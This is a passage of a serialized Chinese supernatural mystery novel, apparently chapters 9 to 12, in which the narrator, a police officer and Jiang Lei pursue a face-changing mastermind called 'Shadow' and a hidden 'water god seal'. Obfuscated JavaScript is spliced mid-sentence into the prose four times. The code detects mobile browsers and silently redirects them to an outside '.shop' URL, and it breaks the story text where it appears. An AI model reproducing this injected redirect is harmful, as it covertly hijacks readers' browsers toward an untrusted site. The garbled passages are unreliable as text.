她认出了郑主任的轮廓,和当年参与迫害她的人有几分相似! 她猛地冲向郑主任,透明的手穿过他的身体。郑主任发出一声惨叫,像是被冰锥刺穿,踉跄着摔倒在积水中,消防斧掉在一边。 “是你们…… 是你们的怨气!” 郑主任浑身发抖,语无伦次,“我只是执行者!是吴茂源!是上面的人让我做的!要怪就怪他们!” 他的话,像一把钥匙,打开了更多记忆的闸门。 秋燕和梅芳的魂灵也冲向郑主任,她们的怨气虽然不再针对我们,却化作无形的压力,让郑主任呼吸困难,脸色发紫。 “快!趁机打通通道!” 楚遥大喊,我们立刻继续砸墙。 “等等!” 我突然想起什么,冲向铁箱,从里面拿出那个装着暗红色液体的玻璃小瓶 —— 姥姥留下的、混合了七位受害者血液的 “信标”。 我拔掉瓶塞,将里面的血液洒向那些魂灵和郑主任之间的积水里。 血液入水,没有散开,反而化作一道暗红色的光带,连接起春枝、秋燕、梅芳的魂灵,也缠上了郑主任的脚踝。 “啊 ——!我的腿!” 郑主任惨叫,他的裤腿瞬间被血水浸透,皮肤开始发红、起泡,像是被灼烧。 “这是你们的血债!” 我对着魂灵喊道,“让他说出所有真相!让他为你们偿命!” 春枝的魂灵按住郑主任的肩膀,秋燕的魂灵捂住他的嘴,不让他挣扎。梅芳的魂灵则指向账本,像是在催促我们带走证据。 “我说!我说!” 郑主任彻底崩溃,哭喊着,“吴茂源是主谋!他当年为了讨好上面,巩固权力,联合村里的宗族势力,清理了所有‘不安分’的女人!账本里有所有受害者的名单和处理方式,还有上面人的签字!胶卷里是他们当年分赃、杀人的照片!我只是帮他们跑腿、销毁证据!我也是被逼的!” 这些话,被陆明的相机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182830|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰地录了下来。 检修通道的洞口终于打通了,足够一个人钻进去。 “走!” 楚遥推了我一把,“我断后!你们带着账本和胶卷先走!” 我、姜月迟、陆明依次钻进通道。通道狭窄黑暗,满是灰尘和蛛网,只能匍匐前进。身后传来郑主任的惨叫和魂灵的呜咽,渐渐被水流声淹没。 不知爬了多久,前方终于透出微光和新鲜空气。我们爬出通道,发现自己站在水文站后面的荒坡上,远离了被水淹的地下室。 回头望去,废弃的水文站已经被浑浊的河水包围,部分墙体开始坍塌,郑主任的惨叫声和魂灵的呜咽声,随着坍塌声彻底消失。 春枝、秋燕、梅芳的魂灵没有跟出来,她们选择用自己最后的力量,将郑主任和这座罪恶的建筑一起埋葬在水下。 我们瘫坐在荒坡上,大口喘气,浑身沾满泥土和灰尘,却有一种劫后余生的虚脱感。 楚遥也很快爬了出来,身上湿透,却紧紧抱着那个防水袋,里面的账本和胶卷完好无损。 “我们…… 出来了?” 姜月迟声音沙哑,像是在做梦。 “出来了。” 我看着远处渐渐亮起来的天色,掌心的炙痕慢慢冷却,恢复了平静,“证据也拿到了。” 陆明打开相机,检查录音和视频,激动得手抖:“都在!郑主任的供述、魂灵现身的画面、账本的特写…… 这都是铁证!足够掀翻整个黑幕了!” 楚遥拿出卫星电话,开始联系上级:“喂,是李局吗?我们找到关键证据了…… 对,账本和胶卷都在…… 清河县废弃水文站,郑主任被困在地下室,可能已经……” 挂了电话,她看着我们,眼神复杂:“上级已经启动紧急预案,会立刻派人封锁现场,调取所有相关档案,抓捕涉案人员。这场持续了几十年的罪恶,终于要结束了。” 我从口袋里掏出那个素银簪子,它已经恢复了冰冷的触感,不再震动。秋燕的魂灵虽然消失了,但这枚簪子,成了她存在过的证明。 “姥姥说得对,钥匙就在她们的遗物里,在她们的记忆里。” 我轻声说,“我们不是在替她们复仇,是在替她们讨回公道,让她们的名字,不再被历史遗忘。” 姜月迟看着远方,眼泪滑落:“妈,你看到了吗?那些害了你的人,终于要受到惩罚了。你可以安息了。” 就在这时,我的手机突然震动起来,是一条陌生号码发来的短信,只有短短一句话: “账本是真的,但不是全部。吴茂源背后,还有人。小心‘影子’。” “影子?” 楚遥看到短信,脸色瞬间凝重,“这是什么意思?难道‘清理者’还有更高层的幕后黑手?” 陆明快速翻看着账本,突然惊呼:“你们看!账本最后几页,有几处记录被刻意涂抹了,隐约能看到一个代号 ——‘影’!” 我们凑过去,果然,被涂抹的痕迹下,能辨认出 “影” 字的轮廓,旁边还有模糊的日期,正是吴茂源病逝前后! “吴茂源只是执行者,郑主任是跑腿的,这个‘影子’才是真正的核心?” 我浑身发冷,“他为什么现在联系我们?是警告,还是…… 有别的目的?” 楚遥握紧拳头:“不管他是谁,我们已经没有退路了。证据已经上报,风暴已经开始,‘影子’就算想躲,也迟早会被揪出来!” 但我看着那条短信,心里却升起一股强烈的不安。 这个 “影子”,似乎一直在暗中观察着我们,从静水潭到水文站,从符纸警告到现在的短信。 他到底是谁?是当年的幸存者?还是另一个隐藏更深的 “清理者”? 更可怕的是,他为什么知道我们的手机号?他是不是…… 一直就在我们身边? 天色渐亮,阳光洒在荒坡上,却驱不散我们心头的阴霾。 一场正义与罪恶的较量刚刚开始,而另一场更凶险的追逐,已经悄然拉开序幕。 10. 第 10 章 江磊的车在他家老宅子门口停稳时,天刚蒙蒙亮。 他攥着手机,屏幕上是楚遥发来的笔迹比对报告 ——“江磊奶奶 handwriting 与梅芳日记补充笔迹相似度 98%”,指尖都在发白。 “不可能…… 我奶奶不可能是清理者。” 他反复念叨,声音发颤,推开虚掩的木门时,手都在抖。 老宅子是典型的清河县民居,青瓦土墙,院里种着一棵老槐树,落叶铺了一地。江磊奶奶独居,此刻屋里没开灯,静得能听见自己的心跳。 (OS:江磊弟弟,这打击来得太突然,换谁都扛不住啊。) “奶奶?” 江磊喊了一声,没人回应。 楚遥举着取证灯,照亮屋内。陈设简单,一张老旧的八仙桌,两把木椅,墙角堆着农具和旧物。最显眼的是东墙的一个木柜,锁着,看起来有些年头了。 “你奶奶平时会写日记吗?或者保存旧书信?” 楚遥问,眼神锐利地扫视四周。 江磊摇头,又突然点头:“有!她有个铁盒子,放在木柜最上面,说里面是老物件,不让我碰!” 他搬来凳子,爬上柜子,果然摸到一个沉甸甸的铁盒。下来时,他差点摔了,手抖得厉害,好不容易才打开铁盒。 里面没有金银,只有一叠泛黄的信纸、一本线装日记,还有一枚和周婆婆床头一模一样的 “社” 字铜戒! 铜戒! 江磊瞳孔骤缩,后退一步,差点撞到桌子:“这…… 这不可能!我奶奶怎么会有这个?” 楚遥戴上手套,拿起日记翻开。字迹娟秀,和梅芳日记里的补充笔迹一模一样! “1978 年 3 月 15 日,晴。秀娥(姥姥)不肯同流,吴茂源让我盯着她。梅芳的事,我没敢拦,只偷偷留了她一缕头发。” “1980 年社日,又有人要被‘清理’。吴茂源说,这是规矩,不这么做,村子要完。我怕,只能照做。” “‘影子’无处不在,吴茂源也怕他。他说,‘影子’才是真正的主事人,我们都是棋子。” “2003 年,吴茂源病重。他说,‘影子’不会放过知情者,让我藏好这枚铜戒,日后或许能保命。” “溪月这孩子,长大了。秀娥的心思,我懂。只是真相太痛,怕她扛不住。” 日记里的内容,像惊雷炸响在屋里。 江磊奶奶不仅是清理者,还知道 “影子” 的存在!她甚至帮吴茂源监视过姥姥! “我奶奶…… 她为什么要这么做?” 江磊蹲在地上,双手抱头,声音哽咽,“她明明那么慈祥,总给我讲村里的老故事,还教我做人要善良……” 我蹲下身,拍了拍他的肩膀。掌心炙痕微微发烫,像是在回应日记里的沉重。 “也许她有苦衷。” 我轻声说,“你看日记里写‘我怕,只能照做’,她可能是被胁迫的。而且她藏着铜戒,留着梅芳的头发,说明她心里有愧疚。” 楚遥继续翻看着信纸,突然停住:“你们看这个。” 信纸上是一张手绘的简易地图,标注着 “社日祭旧址 - 老水文站”,旁边写着一行小字:“影子藏物处,核心信物在此。” 老水文站?! “清河县有老水文站吗?” 我问江磊。 江磊抬起头,泪痕未干:“有!在清水西岸,几十年前就废弃了,据说当年因为淹死人,闹得厉害,后来就封了。我奶奶以前从不许我靠近!” 楚遥眼神一凛:“周婆婆昏迷的旅馆,就在老水文站附近!” (OS:线索全串起来了!周婆婆去清河县,根本不是为了躲,是为了老水文站的核心信物!“影子” 跟着她,也是为了这个!) “我们现在就去!” 我站起身,“周婆婆昏迷前肯定去过老水文站,说不定留下了线索。而且社日只剩两天,‘影子’随时可能动手!” 江磊抹掉眼泪,握紧拳头:“我跟你们去!我要亲口问问奶奶,她到底还有多少事瞒着我!” 车子往清水西岸开,一路无话。江磊盯着窗外,脸色凝重;楚遥不断接打电话,协调警力封锁老水文站周边;我摩挲着掌心的炙痕,心里隐隐不安 ——“影子” 既然能藏在暗处这么久,肯定没那么容易对付。 老水文站果然废弃多年,铁门锈迹斑斑,上面挂着 “禁止入内” 的牌子,围栏被人剪开一个缺口,像是有人近期进出过。 “小心点,里面可能有埋伏。” 楚遥拔出配枪,示意我们跟在她身后。 走进水文站,一股潮湿的霉味扑面而来。院子里长满杂草,几间平房破败不堪,窗户玻璃全碎了,阳光透过破洞照进来,形成斑驳的光影。 “核心信物应该在主站房的地下室。” 楚遥指着最里面的一栋建筑,“地图上标着‘地下机房’。” 主站房的门虚掩着,一推就开。里面灰尘弥漫,地上有新鲜的脚印,指向地下室的入口。 “有人来过!” 江磊压低声音。 地下室的楼梯又陡又窄,往下走时,能听到隐隐的水流声。楚遥打开强光手电,光柱照亮前方,地下室里空荡荡的,只有一个生锈的铁架,上面摆着一个破损的木盒。 木盒是打开的,里面空空如也。 “核心信物被拿走了?” 我心头一沉。 楚遥蹲下身,检查木盒:“上面有新鲜的指纹,还有一点暗红色的痕迹,像是血迹。” 她用取证袋小心翼翼地收集样本,“而且这木盒的锁,是被人用钥匙打开的,不是暴力破解。” 钥匙?谁有钥匙?周婆婆?还是 “影子”? 就在这时,江磊突然指向铁架后面:“你们看!那里有个字!” 我们走过去,只见墙壁上用暗红色的颜料写着一个大大的 “影” 字,旁边画着一个和静水庵牌位上一样的 “水” 字变形符号。 “是‘影子’留下的!” 楚遥脸色凝重,“他在挑衅我们!” 我盯着那个 “影” 字,掌心炙痕突然剧烈发烫,脑海里闪过一段模糊的记忆碎片 —— 姥姥日记里的一页,被撕掉了一角,上面隐约写着 “影 = 吴……” 影 = 吴?吴茂源?但吴茂源已经死了! 还是说,“影子” 姓吴?是吴茂源的亲戚? “宋姐,你看这个!” 江磊突然从木盒旁边捡起一张折叠的纸条。 纸条泛黄,像是从旧日记上撕下来的,上面是江磊奶奶的笔迹:“影子是吴茂源的双胞胎弟弟,吴茂林。当年假死脱身,一直藏在暗处。核心信物是‘水神印’,能调动清理者,也能破解社日祭的诅咒。” 吴茂林!双胞胎弟弟! (OS:好家伙,这反转来得猝不及防!吴茂源居然有个双胞胎弟弟,还装死当了几十年的 “影子”!) “周婆婆肯定是被吴茂林害的!” 楚遥立刻反应过来,“她知道吴茂林的身份,想去拿水神印,结果被他偷袭昏迷!” 就在这时,我的手机突然震动,是一条陌生号码发来的短信,只有一句话: “想救周桂芬,想拿到水神印,社日祭土台,带江磊来。他奶奶欠我的,该还了。—— 影” 发件人,正是之前 “清理者” 用来联系我们的加密号码! 江磊看到短信,脸色瞬间变得惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182831|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白:“他要我去?他想干什么?” “他想拿你当筹码。” 楚遥握紧枪,“江磊奶奶是清理者,还知道他的身份,他可能想用你逼你奶奶现身,或者…… 直接灭口。” 我看着短信,又看向江磊,心里有了一个大胆的猜测:“他要的不是江磊,是江磊奶奶手里的东西。你奶奶藏着的铜戒,可能和水神印是一对,缺一不可。” 江磊立刻摸出手机:“我给奶奶打电话!我要问她!” 电话拨过去,响了很久才接通,传来一个陌生男人的声音,冰冷刺骨:“江磊,别来无恙。你奶奶在我这儿,很安全。社日祭,带铜戒来换她,顺便把水神印的线索交出来。” 是 “影子” 吴茂林! “你把我奶奶怎么样了?!” 江磊嘶吼。 “放心,她还活着。” 吴茂林轻笑一声,“毕竟,她是我当年安插在清理者里的棋子,还有点用。社日祭,我等你们。不来,不仅你奶奶死,周桂芬死,所有知情者,一个都活不了。” 电话被挂断。 江磊浑身发抖,眼神里充满了愤怒和无助:“我必须去!我不能让奶奶有事!” 楚遥想阻止,我拉住她,轻轻摇头:“我们必须去。这是吴茂林设的局,但也是我们找到他、拿到水神印、终结这一切的唯一机会。” “可是太危险了!” 楚遥皱眉。 “危险也得去。” 我看着地下室墙壁上的 “影” 字,掌心炙痕的热度越来越高,“社日祭,不仅是清理者的‘最后清理’,也是我们和‘影子’的终极对决。” 我们走出老水文站时,阳光已经升高。清河县的河水在阳光下泛着波光,却透着一股说不出的阴冷。 江磊紧紧攥着奶奶的铜戒,眼神坚定:“宋姐,楚警官,我知道你们是为了我好。但这件事,我必须面对。我奶奶的错,我来帮她弥补。” 楚遥拍了拍他的肩膀:“我们不会让你一个人去。我已经请求上级支援,社日祭当天,会有大量警力潜伏在周围。我们的目标,是抓住吴茂林,救出你奶奶和周婆婆,彻底摧毁清理者组织。” 我从背包里拿出姥姥留下的铜铃,递给江磊:“这个你拿着,能暂时避邪,关键时刻或许能救你一命。” 江磊接过铜铃,重重点头。 回到临时落脚点,楚遥接到了技侦的紧急电话,她听完后脸色骤变:“不好!周婆婆醒了,但她什么都不肯说,只反复念叨‘水神印在柳树下’、‘影子能变脸’!” “还有,我们在老水文站收集的指纹和血迹样本有结果了 —— 指纹是吴茂林的,和吴茂源的指纹高度相似(双胞胎特征);血迹是周婆婆的,但里面检测出了微量的致幻药物,说明她是被吴茂林下药后偷袭的!” “另外,江磊奶奶的老宅子被人光顾过了!监控拍到一个穿黑色连帽衫的男人,和之前跟踪周婆婆的‘清理者’体态一致,他拿走了奶奶日记里提到的‘梅芳的头发’!” 水神印在柳树下?是清水东岸的第三棵柳树?还是老水文站附近的柳树? “影子能变脸”?他会不会伪装成我们身边的人? 梅芳的头发被拿走,吴茂林想干什么? 社日祭只剩两天,吴茂林的陷阱已经布好,而我们不仅要救两个人,还要找到水神印,对付一个能伪装、藏了几十年的 “影子”。 更可怕的是,“影子” 可能已经伪装成我们信任的人,潜伏在我们身边! (OS:CPU 彻底干烧了!“影子” 能变脸,这意味着身边任何人都可能是他伪装的!水神印的线索又模糊了,梅芳的头发被抢,这局到底怎么破?!) 11. 第 11 章 江磊攥着奶奶的铜戒,指尖发白。我们坐在临时落脚点的客厅,气氛凝重得能拧出水。 楚遥刚挂完电话,脸色难看:“周婆婆在邻市医院醒了,但状态很奇怪。不说别的,只反复念叨‘柳树根’‘红绳结’‘别信脸’。” “别信脸?”我重复着这三个字,后背发凉,“这是在提醒我们,‘影子’真的能变脸,连熟人的脸都可能是假的?” 江磊突然抬头,眼神里满是挣扎:“我给奶奶打了好几个电话,一直没人接。会不会……会不会她真的被吴茂林控制了?或者……她根本就是清理者,现在主动投靠了吴茂林?” (OS:江磊弟弟这心态,快被亲奶奶的嫌疑逼疯了。换谁谁不慌?毕竟一边是亲奶奶,一边是铁证般的笔迹和铜戒。) “不能排除任何可能。”楚遥拿出平板,调出老水文站的现场照片,“但现在更紧急的是水神印。周婆婆说‘柳树根’,结合之前的线索,大概率是清水东岸第三柳——水生埋骨地的那棵老柳树。” 我突然想起什么,掏出从枯井边找到的梅芳手帕:“你们看,手帕边缘有个不起眼的红绳结,当时没在意,现在想想,会不会和周婆婆说的‘红绳结’对应?” 手帕上的红绳结打得很特殊,是个双层的、类似“水”字变形的结。楚遥放大照片,眼神一亮:“这不是普通的结,是清河县老辈人用来标记重要物件的‘锁魂结’,通常绑在埋东西的地方,防止外人乱动。” “所以水神印,可能藏在第三棵柳树的树根下?用红绳结做标记?”江磊瞬间来了精神,忘了之前的纠结。 “可能性极大。”我点头,掌心炙痕微微发烫,“但吴茂林也在找水神印,他拿走梅芳的头发,会不会是想用头发做引,感应水神印的位置?” 楚遥脸色一沉:“有这个可能。梅芳是水神印当年的守护者之一,她的头发可能残留着和水神印的联系。我们必须赶在吴茂林之前找到水神印!” “现在就去清水东岸!”江磊站起身,抓起外套,“我熟路,能最快找到第三棵柳树的准确位置。” 楚遥却按住他:“等等。‘影子能变脸’,我们现在谁都不能完全信任谁。万一吴茂林伪装成我们中的人,或者提前在柳树下设了埋伏?” 她看向我:“宋溪月,你的炙痕能感应危险,你走在中间。我和江磊一左一右,保持距离,随时互相监视。任何异常,立刻喊停。” (OS:这操作绝了,信任危机直接摆到台面上,连战友都要互相监视。但不得不说,楚遥这波谨慎太必要了!) 我们驱车再次前往清水东岸。路上,江磊突然说起:“我奶奶以前给我讲过,清河县老辈有个传说,水神印是用清水潭底的千年阴沉木做的,上面刻着‘水’字秘纹,能号令水里的阴灵,也能破解社日祭的诅咒。但它有个弱点,怕沾染至亲的血。” “至亲的血?”我心头一动,“吴茂林是吴茂源的双胞胎弟弟,梅芳是吴茂源的恋人,他们算不算至亲?” “算!而且如果我奶奶真的是清理者,她的血也可能克制水神印!”江磊眼神复杂,“这可能就是吴茂林要抓我奶奶的原因——不仅要逼她交出铜戒,还要用她的血对付水神印。” 车子停在清水东岸的围挡外,我们沿着之前的小路往里走。天色阴沉,风穿过柳树林,发出“呜呜”的声响,像是有人在低声啜泣。第三棵老柳树歪歪扭扭地斜向河面,树根处被人挖过的痕迹还在,只是比之前更凌乱。 “你们看!”江磊突然指向柳树根部,“那里有个红绳结!” 我们围过去,只见柳树最粗的树根下,藏着一个不起眼的红绳结,和梅芳手帕上的一模一样!结的旁边,有一块松动的石板。 “水神印应该就在下面!”江磊蹲下身,想掀开石板。 “等等!”我突然按住他,掌心炙痕剧烈发烫,“有危险!下面可能有陷阱!” 楚遥立刻掏出枪,警惕地扫视四周:“什么危险?是吴茂林?还是阴灵?” 我闭上眼睛,集中精神感应。炙痕传来的不是阴灵的寒意,而是一种强烈的、带着恶意的生人气息,就在石板下方,还有……微弱的心跳声! “下面有人!”我大喊。 话音刚落,石板突然被从下面猛地掀开,一个穿黑色连帽衫的男人从坑里跳出来,手里举着一把匕首,直扑江磊——正是之前跟踪我们的“清理者”! “小心!”楚遥开枪警告,子弹擦着男人的肩膀飞过。 男人却不管不顾,眼神死死盯着江磊手里的铜戒:“把铜戒交出来!否则别怪我不客气!” 江磊下意识后退,我趁机掏出铜铃,用力摇动:“叮铃——叮铃铃——” 清脆的铃声响起,男人动作一滞,像是被刺痛。楚遥趁机冲上去,一脚踹在他的膝盖上。男人惨叫一声,跪倒在地,匕首掉在地上。 我们合力将他制服,扯掉他的连帽衫——是个陌生男人,脸上有一道疤痕,眼神凶狠。 “你是谁?吴茂林在哪?”楚遥用枪指着他。 男人冷笑:“吴先生说了,你们找不到水神印,也活不过社日。他已经拿到了梅芳的头发,很快就能感应到水神印的位置……” “你撒谎!”江磊怒道,“水神印就在这下面,他根本没找到!” 男人眼神一变,突然剧烈挣扎起来:“不可能!吴先生说……” 他的话没说完,突然脸色发青,嘴角流出黑血,身体抽搐了几下,竟然断了气。 “是毒!他嘴里藏了毒牙!”楚遥检查后沉声道,“清理者做事真狠,一旦被抓,立刻灭口!” 我们盯着地上的尸体,又看向柳树根下的坑。坑不深,里面空荡荡的,只有一块刻着“水”字秘纹的木片,没有水神印。 “水神印被拿走了?”江磊愣住了。 我捡起那块木片,上面的秘纹和静水庵牌位上的一模一样。突然,木片上的纹路开始发光,映出一行极小的字:“红绳结下非真印, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182832|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水神藏在社日台。” “社日祭旧址的土台!”楚遥立刻反应过来,“之前我们在土台暗格找到名册和铜戒,没仔细检查有没有其他暗格!” 就在这时,我的手机突然震动,是医院发来的紧急消息:“周桂芬患者突然失踪,监控拍到她被一个穿护士服的女人带走,那个女人的侧脸,和江磊先生高度相似!” 江磊?! 我们同时看向江磊,他脸色煞白,连连摇头:“不是我!我一直在这!那个女人是吴茂林伪装的!他真的能变脸!” 楚遥拿出手机,调出医院监控截图。截图上,穿护士服的“女人”身形和江磊确实很像,只是长发披肩,侧脸轮廓几乎一致。 “他不仅能变脸,还能模仿身形!”我浑身发冷,“之前跟踪周婆婆的、在老水文站偷袭我们的,可能都是他伪装的!” 江磊突然想起什么,掏出手机:“我奶奶的日记里提到,吴茂林年轻时学过皮影戏,擅长模仿别人的动作和声音!他的变脸术,可能就是从皮影戏里演变来的!” 皮影戏?模仿动作声音? 我突然意识到一个可怕的可能性:“楚遥,你联系的上级支援,确定是真的吗?我们身边的人,会不会有被吴茂林伪装的?” 楚遥脸色一变,立刻拨通上级电话。电话接通,传来熟悉的声音,但仔细听,似乎比平时沙哑了一些。 “李局,是我楚遥。想问一下支援的警力什么时候到清河县?” 电话那头沉默了几秒,才缓缓开口:“支援?我没安排支援啊楚遥,你是不是搞错了?” 不是李局! 楚遥猛地挂了电话,脸色凝重:“我们被盯上了!刚才联系的‘上级’,可能是吴茂林伪装的!他一直在监听我们的通讯!” 我们刚想撤离,柳树林深处突然传来一阵急促的脚步声,伴随着一个熟悉的、带着哭腔的声音:“宋姐!楚警官!救救我!我奶奶她……” 是江磊的声音! 我们循声望去,只见一个“江磊”从树林里跑出来,衣衫凌乱,脸上满是泪痕:“我刚才被人打晕了,醒来就在这!那个冒充我的人,肯定是吴茂林!” 两个江磊?! 一个蹲在地上,手里攥着铜戒;一个站在树林口,满脸泪痕。 哪个是真?哪个是假? 楚遥举着枪,一时不知道该对准谁。我的炙痕同时感应到两个方向的危险气息,分不清哪个是伪装者的恶意,哪个是真江磊的恐惧。 更可怕的是,远处传来警笛声,越来越近——是那个“假上级”调动的警力,他们以为我们是袭警的嫌犯! 吴茂林不仅伪装成我们身边的人,还设局让警方围堵我们! 两个江磊互相指责,警笛声越来越近,柳树林里的风越来越急,像是有无数双眼睛在暗中盯着我们。 (OS:CPU彻底干烧!两个江磊真假难辨,警方又要合围,吴茂林还在暗处窥伺!这局到底怎么破?!) 12. 第 12 章 两个江磊对峙着,警笛声越来越近,像催命的鼓点。 蹲在地上攥着铜戒的江磊率先嘶吼:“你才是假的!我一直跟着宋姐和楚警官,根本没被打晕!” 从树林里跑出来的江磊也红了眼:“胡说!我才是真的!你这个冒牌货,肯定是吴茂林伪装的!” 楚遥举着枪,手指扣在扳机上,却迟迟不敢开枪。两个江磊长得一模一样,连说话的语气、习惯性的挠头动作都分毫不差。 (OS:这操作绝了!吴茂林的变脸术这么牛?连小动作都模仿得惟妙惟肖,CPU彻底干烧了!) 我握紧掌心的铜铃,指尖沁出冷汗。掌心的炙痕同时传来灼热感,两个方向都有危险气息,却分不清哪个是伪装者的恶意,哪个是真江磊的恐惧。 “宋姐!你快想想办法!”楚遥急道,警笛声已经近在咫尺,再拖延下去,警方合围,我们根本说不清。 我盯着两个江磊,突然想起周婆婆反复念叨的“柳树根”“红绳结”。姥姥的信里说,水神印藏在柳树下,而红绳结是标记。 “江磊!”我突然开口,“你奶奶的铜戒,内侧刻着什么字?” 蹲在地上的江磊下意识脱口而出:“是‘桂芬’两个字!我奶奶的名字!” 从树林里跑出来的江磊愣了一下,随即喊道:“也是‘桂芬’!这谁不知道?你换个问题!” (OS:好家伙,连这个都知道,吴茂林功课做这么足?) “再问你!”我盯着他的眼睛,“你第一次带我去清水东岸第三柳,脚下的乱石堆里,埋着一块什么样的石头?” 这个问题只有我们两个和真正的江磊知道,是当时无意中看到的细节。 蹲在地上的江磊想都没想:“是块带白色条纹的青石板!边缘还有个缺口!” 从树林里跑出来的江磊脸色瞬间变了,眼神闪烁:“我……我忘了!当时太紧张,没注意!” 破绽! “你是假的!”我大喊,铜铃猛地摇动,“叮铃——叮铃铃——” 清脆的铃声响起,假江磊突然捂着头,发出痛苦的嘶吼,脸上的皮肤竟然开始轻微扭曲,像是有什么东西在下面蠕动! “该死的铜铃!”假江磊恶狠狠地瞪着我,声音变得沙哑,不再是江磊的语调,“既然被识破了,那就同归于尽!” 他突然从口袋里掏出一把打火机,猛地扔向旁边的干草堆!干燥的杂草瞬间燃起大火,借着风势,快速向我们蔓延。 “不好!他想制造混乱逃跑!”楚遥大喊,对着假江磊的腿开枪。 “砰!”子弹擦过他的小腿,假江磊踉跄了一下,却没停下,转身就往柳树林深处跑,速度快得惊人。 “追!”楚遥立刻跟上。 “宋姐,你小心!”真江磊爬起来,想跟上去,被我拉住。 “别去!他是诱饵!”我指着第三棵柳树的根部,“周婆婆说‘柳树根’‘红绳结’,我们找水神印!” 大火越烧越旺,浓烟滚滚。我和江磊蹲在柳树下,快速拨开根部的泥土和杂草。 很快,我们看到了一截粗壮的柳树根,根须缠绕着一个红色的绳结,正是梅芳手帕上的“锁魂结”! “找到了!”江磊激动地伸手去扯红绳结。 “等等!”我拦住他,掌心炙痕突然剧烈发烫,“红绳结下面可能有机关!” 我小心翼翼地解开红绳结,柳树根旁边的泥土突然松动,露出一个小小的暗格。暗格里没有水神印,只有一个锈迹斑斑的铁盒,和一张折叠的纸条。 打开铁盒,里面是一撮用红绳系着的胎发,和半块破损的玉佩,玉佩上刻着“水生”二字——是梅芳的孩子! 纸条上是姥姥的字迹:“水神印非一物,乃双印合璧。其一藏于柳根,其二藏于潭底。红绳为引,血亲为匙。” 双印合璧?潭底?是静水潭? 就在这时,柳树林外传来楚遥的喊声:“宋溪月!江磊!快出来!假江磊跑了,但我们抓到了一个人!” 我们赶紧跑出柳树林,大火已经被赶来的警方扑灭。楚遥身边押着一个被反绑的男人,穿着黑色连帽衫,脸上戴着一个薄薄的人皮面具,正是刚才的假江磊! “他摘下面具了?”我问。 楚遥摇头:“他不肯摘,但我们在他身上搜到了这个!”她递过来一个小小的木盒,里面装着几块不同的人皮面具,还有一瓶奇怪的液体。 “这是易容用的!”江磊惊呼,“我奶奶说过,吴茂林学过皮影戏,还会用特殊药水□□!” 警方上前,强行摘下了假江磊的面具。 面具下的脸,陌生又熟悉——是清河县老水文站的管理员!我们之前去老水文站时,还见过他! “你是谁?为什么帮吴茂林做事?”楚遥厉声质问。 男人低着头,声音沙哑:“我是吴茂林的徒弟……他答应我,事成之后,让我成为新的‘清理者’……” “吴茂林在哪?水神印的另一半藏在哪?”我追问。 男人突然抬起头,嘴角勾起一抹诡异的笑:“吴先生说了,社日祭土台,他会等着你们。水神印的另一半,就在静水潭底,不过……你们拿不到了。” 他猛地挣扎起来,嘴里吐出一口黑血,身体抽搐了几下,竟然断了气——和之前那个清理者一样,嘴里藏了毒牙! (OS:又是灭口!吴茂林这是要斩草除根啊!) 就在这时,我的手机突然震动,是赵安宁发来的照片。照片是从那个隐秘木箱里找到的,是梅芳和吴茂源的合影,放大后,吴茂源的手指上,戴着一枚刻着“社”字的铜戒,和江磊奶奶的铜戒一模一样! “双印合璧……难道铜戒也是一部分?”江磊看着手里的铜戒。 楚遥突然接到一个紧急电话,脸色骤变:“不好!静水潭那边传来消息,有人在潭边发现了周婆婆的踪迹,她好像在潜水!还有,赵安宁家被人闯入,那个装着梅芳信件和照片的木箱不见了!” 周婆婆在静水潭潜水?她在找水神印的另一半? “我们现在就去静水潭!”我当机立断,“吴茂林肯定也在往那边去!” 我们驱车赶往静水潭。一路上,江磊反复看着奶奶的铜戒,突然说:“宋姐,你看铜戒内侧,除了‘桂芬’,还有一个极小的‘影’字!” 我凑过去一看,果然,在“桂芬”旁边,刻着一个模糊的“影”字——是“影子”吴茂林的标记! “我奶奶也是清理者,而且是吴茂林安插的人?”江磊的声音带着绝望。 车子停在静水潭边,夜色浓重,潭水漆黑如墨。岸边停着一艘小船,船上空无一人,但船头绑着一个红色的绳结,和柳树根下的一模一样。 “周婆婆肯定下水了!”楚遥拿出强光手电,照向潭水。 潭面上漂浮着一个黑色的背包,我们捞上来一看,里面是周婆婆的手机和一张纸条,上面写着:“水神印在潭底石龛,吴茂林要用人皮面具冒充楚遥,夺走双印。小心身边人。” 冒充楚遥?! 我和江磊同时看向楚遥,她也愣住了,下意识摸了摸自己的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 